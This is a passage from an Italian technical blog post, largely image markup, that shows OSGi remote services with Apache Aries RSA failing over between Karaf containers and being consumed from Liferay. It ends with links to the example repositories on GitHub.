        &lt;img alt=&quot;Figura 14 - Output del comando lb it.smc.techblog&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/bd39c95453e1b634ca4cb2b41f7a2995/c1b63/output-comando-lb-liferay.png&quot; title=&quot;Figura 14 - Output del comando lb it.smc.techblog&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 14 - Output del comando lb it.smc.techblog&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Una volta ottenuto l&amp;#x27;id del bundle, eseguiamo il comando &lt;code&gt;b 1180&lt;/code&gt;. L&amp;#x27;output
mostrato in figura mostra delle informazioni leggermente diverse rispetto al
solito, ovvero, la sezione &lt;strong&gt;Services in use&lt;/strong&gt; mostra il riferimento al servizio
remoto, da cui possiamo vedere tutte le caratteristiche dell&amp;#x27;endpoint remoto.
Qui sono entrati in gioco il Topology Manager e il Remote Service Admin.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f7f5602c7eb3fe448277d66377a51401/49832/output-comando-bundle-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:26.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;105\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20105\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2053v52h5c4%200%204%200%204-3%200-2%201-3%202-3l1%203v3h389V0H0v53m170-23h-10l-11%201h-2l-1%201c-1-2-7-2-7-1%200%202%203%202%2024%202l23-1-1-1h-9l-2-1h-4m24%2017a248%20248%200%200050%201l4%201%204-1c0-1-6-2-29-2l-29%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f7f5602c7eb3fe448277d66377a51401/c85cb/output-comando-bundle-liferay.webp 300w,/static/f7f5602c7eb3fe448277d66377a51401/e88ff/output-comando-bundle-liferay.webp 600w,/static/f7f5602c7eb3fe448277d66377a51401/92f8c/output-comando-bundle-liferay.webp 1200w,/static/f7f5602c7eb3fe448277d66377a51401/62ed8/output-comando-bundle-liferay.webp 1800w,/static/f7f5602c7eb3fe448277d66377a51401/3852f/output-comando-bundle-liferay.webp 2374w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f7f5602c7eb3fe448277d66377a51401/5a46d/output-comando-bundle-liferay.png 300w,/static/f7f5602c7eb3fe448277d66377a51401/0a47e/output-comando-bundle-liferay.png 600w,/static/f7f5602c7eb3fe448277d66377a51401/c1b63/output-comando-bundle-liferay.png 1200w,/static/f7f5602c7eb3fe448277d66377a51401/d61c2/output-comando-bundle-liferay.png 1800w,/static/f7f5602c7eb3fe448277d66377a51401/49832/output-comando-bundle-liferay.png 2374w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 15 - Output comando b per l&amp;#x27;inspection del bundle consumer del servizio
Who I am&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f7f5602c7eb3fe448277d66377a51401/c1b63/output-comando-bundle-liferay.png&quot; title=&quot;Figura 15 - Output comando b per l&amp;#x27;inspection del bundle consumer del servizio
Who I am&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 15 - Output comando b per l&amp;#x27;inspection del bundle consumer del servizio
Who I am&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;In questo caso il binding è stato fatto con il servizio remoto che vive sul
container OSGi che ha l&amp;#x27;indirizzo 172.29.0.4.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Cosa dovrei vedere interrogando il framework OSGi tramite comando &lt;em&gt;services
it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&lt;/em&gt;?&lt;/strong&gt; Quello
che otteniamo è l&amp;#x27;informazione che abbiamo la disponibilità di due servizi
remoti che implementano la stessa interfaccia (in questo caso WhoIamService) ma
che solo uno di questi è utilizzato dal bundle del consumer.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/2b0b92a9a33e8981983817fcf9beda8f/7d62e/output-comando-services-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:20.666666666666668%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;82\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2082\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2041v41h4c4%200%204%200%204-3%200-2%201-3%202-3l1%203v3h390V0H0v41m175-16l18%201a96%2096%200%200118%200h12l10-1h1l5%201h4l1%201%201-2c0-1-8-2-35-2-25%200-36%201-35%202m24%2036l-1%201c0%202%208%202%209%201h1l17%201h18l2-1c0-2-1-2-2-2a395%20395%200%2001-44%200m-48%201h-2l-3%201%2026%201%2025-1a196%20196%200%2000-41-1h-5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/2b0b92a9a33e8981983817fcf9beda8f/c85cb/output-comando-services-liferay.webp 300w,/static/2b0b92a9a33e8981983817fcf9beda8f/e88ff/output-comando-services-liferay.webp 600w,/static/2b0b92a9a33e8981983817fcf9beda8f/92f8c/output-comando-services-liferay.webp 1200w,/static/2b0b92a9a33e8981983817fcf9beda8f/62ed8/output-comando-services-liferay.webp 1800w,/static/2b0b92a9a33e8981983817fcf9beda8f/cb557/output-comando-services-liferay.webp 2368w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/2b0b92a9a33e8981983817fcf9beda8f/5a46d/output-comando-services-liferay.png 300w,/static/2b0b92a9a33e8981983817fcf9beda8f/0a47e/output-comando-services-liferay.png 600w,/static/2b0b92a9a33e8981983817fcf9beda8f/c1b63/output-comando-services-liferay.png 1200w,/static/2b0b92a9a33e8981983817fcf9beda8f/d61c2/output-comando-services-liferay.png 1800w,/static/2b0b92a9a33e8981983817fcf9beda8f/7d62e/output-comando-services-liferay.png 2368w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 16 - Output del comando services
it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/2b0b92a9a33e8981983817fcf9beda8f/c1b63/output-comando-services-liferay.png&quot; title=&quot;Figura 16 - Output del comando services
it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 16 - Output del comando services
it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Cosa succederebbe nel caso in cui stoppassi il servizio WhoIamService
tcp://172.29.0.4:8202 attualmente referenziato dal consumer (bundle 1180)?&lt;/strong&gt; Si
verrebbe a creare un disservizio? Assolutamente no. Quello che in breve accade è
questo:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;stop del servizio sull&amp;#x27;istanza karaf-instance-2_1;&lt;/li&gt;&lt;li&gt;rimozione dell&amp;#x27;endpoint tcp://172.29.0.4:8202 da ZooKeeper;&lt;/li&gt;&lt;li&gt;il servizio di Discovery provvedere a notificare l&amp;#x27;avvenuto cambiamento
sull&amp;#x27;endpoint rimosso;&lt;/li&gt;&lt;li&gt;il Topology Manager e il Remote Service Admin provvedono affinché il
riferimento richiesto dal consumer del servizio WhoIamService venga associato
al servizio remoto dell&amp;#x27;istanza karaf-instance-1_1.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;La figura a seguire mostra la verifica degli endpoint sull&amp;#x27;istanza
karaf-instance-2_1, l&amp;#x27;esecuzione dello stop per il bundle Who I am Service
(bundle 12) e la successiva verifica degli endpoint. Dopo lo stop del bundle è
evidente come sia stato rimosso l&amp;#x27;endpoint tcp://172.29.0.4:8202.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a36785276728857a3ee9f7e25d3229ae/0db18/stop-servizio-whoiam.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:30%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;120\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20120\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2060v60h401V0H0v60m8-47c0%202-1%203-3%203l-3%201h6v23l1%2023V17h14v23l1%2023V17h9v23l1%2024V17h35v23l1%2023V17h165l166-1H70v-5l-1%202-1%203H35l-1-3-1-2v2c0%203%200%203-4%203-5%200-5%200-5-3v-2l-1%202c-1%202-1%203-7%203-7%200-7%200-7-3-1-2-1-2-1%200m179%2066c0%201%2021%202%2045%201%2027%200%2018-2-14-2l-31%201m-37%204c-1%201%200%201%202%201%2010%200%2011%201%2012%202l-1%201-10-1-12%201%2012%201c12%200%2012%200%2012-2-1-2-1-2%209-2l8-1h-32m208%200l10%201%204%201-11%201-11%201%2014%201c12%200%2015%200%2014-1%200-1-1-2-3-1l-2-1%2010-1%2012-1-18-1-19%201m-168%203l-3%201%2031%201%2030-1c0-1-49-2-58-1m-40%2023c-1%201%200%201%202%201%209%200%2011%201%2012%202h-8c-10-1-15%200-15%201l12%201c12%200%2012%200%2012-2-1-2-1-2%209-2l8-1h-32m208%200l10%201%204%201-8%201-14%201%2014%201c12%200%2015%200%2014-1%200-1-1-2-3-1l-2-1%2010-1%2012-1-18-1-19%201m-167%203l-4%201%2031%201a277%20277%200%200027-2h-54\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a36785276728857a3ee9f7e25d3229ae/c85cb/stop-servizio-whoiam.webp 300w,/static/a36785276728857a3ee9f7e25d3229ae/e88ff/stop-servizio-whoiam.webp 600w,/static/a36785276728857a3ee9f7e25d3229ae/92f8c/stop-servizio-whoiam.webp 1200w,/static/a36785276728857a3ee9f7e25d3229ae/62ed8/stop-servizio-whoiam.webp 1800w,/static/a36785276728857a3ee9f7e25d3229ae/62ee7/stop-servizio-whoiam.webp 2359w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a36785276728857a3ee9f7e25d3229ae/5a46d/stop-servizio-whoiam.png 300w,/static/a36785276728857a3ee9f7e25d3229ae/0a47e/stop-servizio-whoiam.png 600w,/static/a36785276728857a3ee9f7e25d3229ae/c1b63/stop-servizio-whoiam.png 1200w,/static/a36785276728857a3ee9f7e25d3229ae/d61c2/stop-servizio-whoiam.png 1800w,/static/a36785276728857a3ee9f7e25d3229ae/0db18/stop-servizio-whoiam.png 2359w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 17 - Stop del bundle 12 Who I am Service e verifica degli endpoint&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a36785276728857a3ee9f7e25d3229ae/c1b63/stop-servizio-whoiam.png&quot; title=&quot;Figura 17 - Stop del bundle 12 Who I am Service e verifica degli endpoint&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 17 - Stop del bundle 12 Who I am Service e verifica degli endpoint&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sull&amp;#x27;istanza Liferay, se andassimo a verificare gli endpoint, vedremo che
correttamente è stato rimosso anche qui l&amp;#x27;endpoint tcp://172.29.0.4:8202 e
eseguendo nuovamente il comando &lt;code&gt;services&lt;/code&gt;, vedremo che il riferimento richiesto
dal consumer verso il servizio Who I am, è stato correttamente cambiato verso
l&amp;#x27;endpoint tcp://172.29.0.3:8202.&lt;/p&gt;&lt;p&gt;Le due figure a seguire mostrano gli avvenuti cambiamenti lato Liferay, l&amp;#x27;ultima
in particolare mostra l&amp;#x27;output della chiamata al metodo whoiam() del servizio
remoto, dov&amp;#x27;è evidente che il servizio remoto che ha risposto è quello che fa
riferimento all&amp;#x27;endpoint tcp://172.29.0.3:8202, in questo caso l&amp;#x27;istanza
karaf-instance-1_1.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/8f3f4/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:18.999999999999996%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;76\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2076\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2038v38h401V0H209L21%201l5%201H14l-2-1h2L8%200H0v38m0%201a618%20618%200%20002%2036l1-1v-1c-2%200-2-2-2-16V41l3%201%203-1-3-1H1v-9c0-5%200-9%201-8%200%203%202%202%202-1l-2-2H1c0-1%201-2%203-1l2-1-2-1-3-1%203-1h2l-2-1c-3%200-3%200-3-4V6h7l7-1-6-1-6-1c1-2%200-2-1-2-2%200-2%201-2%2038m88-27\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/c85cb/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 300w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/e88ff/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 600w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/92f8c/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 1200w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/62ed8/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 1800w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/46261/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 2400w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/e15a8/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 2693w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/5a46d/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 300w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/0a47e/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 600w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/c1b63/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 1200w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/d61c2/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 1800w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/97a96/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 2400w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/8f3f4/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 2693w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 18 - Verifica endpoint e service binding dopo lo stop del servizio remoto&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/c1b63/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png&quot; title=&quot;Figura 18 - Verifica endpoint e service binding dopo lo stop del servizio remoto&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 18 - Verifica endpoint e service binding dopo lo stop del servizio remoto&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c9c390489ce849b8fe59b05922d9dee3/d9774/chiamata-al-servizio-remoto.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:10.999999999999998%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;45\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2045\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2023l1%2022%201-1h1l200%201h198V0H0v23\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c9c390489ce849b8fe59b05922d9dee3/c85cb/chiamata-al-servizio-remoto.webp 300w,/static/c9c390489ce849b8fe59b05922d9dee3/e88ff/chiamata-al-servizio-remoto.webp 600w,/static/c9c390489ce849b8fe59b05922d9dee3/92f8c/chiamata-al-servizio-remoto.webp 1200w,/static/c9c390489ce849b8fe59b05922d9dee3/62ed8/chiamata-al-servizio-remoto.webp 1800w,/static/c9c390489ce849b8fe59b05922d9dee3/5a7c2/chiamata-al-servizio-remoto.webp 2365w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c9c390489ce849b8fe59b05922d9dee3/5a46d/chiamata-al-servizio-remoto.png 300w,/static/c9c390489ce849b8fe59b05922d9dee3/0a47e/chiamata-al-servizio-remoto.png 600w,/static/c9c390489ce849b8fe59b05922d9dee3/c1b63/chiamata-al-servizio-remoto.png 1200w,/static/c9c390489ce849b8fe59b05922d9dee3/d61c2/chiamata-al-servizio-remoto.png 1800w,/static/c9c390489ce849b8fe59b05922d9dee3/d9774/chiamata-al-servizio-remoto.png 2365w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 19 - Evidenza della chiama al servizio remoto fatta dal consumer e la
risposta attesa dall&amp;#x27;endpoint tcp://172.29.0.3:8202&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c9c390489ce849b8fe59b05922d9dee3/c1b63/chiamata-al-servizio-remoto.png&quot; title=&quot;Figura 19 - Evidenza della chiama al servizio remoto fatta dal consumer e la
risposta attesa dall&amp;#x27;endpoint tcp://172.29.0.3:8202&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 19 - Evidenza della chiama al servizio remoto fatta dal consumer e la
risposta attesa dall&amp;#x27;endpoint tcp://172.29.0.3:8202&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Anche se facessimo ripartire il bundle stoppato in precedenza, il consumer
rimarrebbe agganciato all&amp;#x27;attuale endpoint. Concludiamo questo capitolo con la
figura a seguire che mostra l&amp;#x27;output della chiamata al servizio remoto Raspberry
Pi Service, chiamata eseguita dall&amp;#x27;istanza Liferay.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/79556ec0c8f68130e255e739afb77c00/53573/output-servizio-remoto-raspberry-pi.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:7.333333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;29\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2029\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2015c0%2010%200%2014%201%2013h2l199%201h199V0H0v15m0%200c0%208%200%2014%201%2012%200-1%201-2%205-1a151%20151%200%200024-1l-14-1C0%2024%201%2024%201%2022h1c1%201%2034%201%2034-1h-1l-2%201-16-1c-9%200-15-1-16-2h17c16%200%2018%200%2018-2h-1c0%201-3%202-3%200H17C7%2017%202%2016%201%2015h20l8-1c1-1-3-1-13-1-13%200-15%200-15-2l1-1h12L8%209%201%208l6-1h7c0-1-3-2-8-2L1%204c0-1%201-2%203-1h26l-4-1H11L0%201v14m210-5l35%201%2035-1-35-1-35%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/79556ec0c8f68130e255e739afb77c00/c85cb/output-servizio-remoto-raspberry-pi.webp 300w,/static/79556ec0c8f68130e255e739afb77c00/e88ff/output-servizio-remoto-raspberry-pi.webp 600w,/static/79556ec0c8f68130e255e739afb77c00/92f8c/output-servizio-remoto-raspberry-pi.webp 1200w,/static/79556ec0c8f68130e255e739afb77c00/62ed8/output-servizio-remoto-raspberry-pi.webp 1800w,/static/79556ec0c8f68130e255e739afb77c00/47d0c/output-servizio-remoto-raspberry-pi.webp 2297w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/79556ec0c8f68130e255e739afb77c00/5a46d/output-servizio-remoto-raspberry-pi.png 300w,/static/79556ec0c8f68130e255e739afb77c00/0a47e/output-servizio-remoto-raspberry-pi.png 600w,/static/79556ec0c8f68130e255e739afb77c00/c1b63/output-servizio-remoto-raspberry-pi.png 1200w,/static/79556ec0c8f68130e255e739afb77c00/d61c2/output-servizio-remoto-raspberry-pi.png 1800w,/static/79556ec0c8f68130e255e739afb77c00/53573/output-servizio-remoto-raspberry-pi.png 2297w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 20 - Chiama al servizio remoto Raspberry Pi Service che restituisce una
serie d&amp;#x27;informazioni di sistema&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/79556ec0c8f68130e255e739afb77c00/c1b63/output-servizio-remoto-raspberry-pi.png&quot; title=&quot;Figura 20 - Chiama al servizio remoto Raspberry Pi Service che restituisce una
serie d&amp;#x27;informazioni di sistema&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 20 - Chiama al servizio remoto Raspberry Pi Service che restituisce una
serie d&amp;#x27;informazioni di sistema&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;7-i-progetti-sullaccount-github-di-smc&quot;&gt;7. I progetti sull&amp;#x27;account GitHub di SMC&lt;/h2&gt;&lt;p&gt;Penso che arrivare fino a qui sia stata una bella fatica, vi lascio però un bel
regalo. Tutto quello che avete avuto modo di vedere nel corso di quest&amp;#x27;articolo
è disponibile in forma di repository git. Questo progetto è organizzato in diversi
repository e in particolare:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/smclab/docker-osgi-remote-services-example&quot;&gt;docker-osgi-remote-services-example&lt;/a&gt;&lt;/strong&gt;:
È il repository che contiene tutto il progetto Docker Compose che vi
consentirà di tirar su la soluzione rappresentata dal diagramma di Figura 4 (a
meno dell&amp;#x27;istanza Apache Karaf su Raspberry Pi);&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/smclab/aries-rsa-whoiam-examples&quot;&gt;aries-rsa-whoiam-examples&lt;/a&gt;&lt;/strong&gt;:
Progetto Maven che contiene i bundle per il servizio Who I am Service (vedi
Tabella 2);&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/smclab/aries-rsa-raspberrypi-examples&quot;&gt;aries-rsa-raspberrypi-examples&lt;/a&gt;&lt;/strong&gt;:
Progetto Maven che contiene i bundle per il servizio Raspberry Pi Service
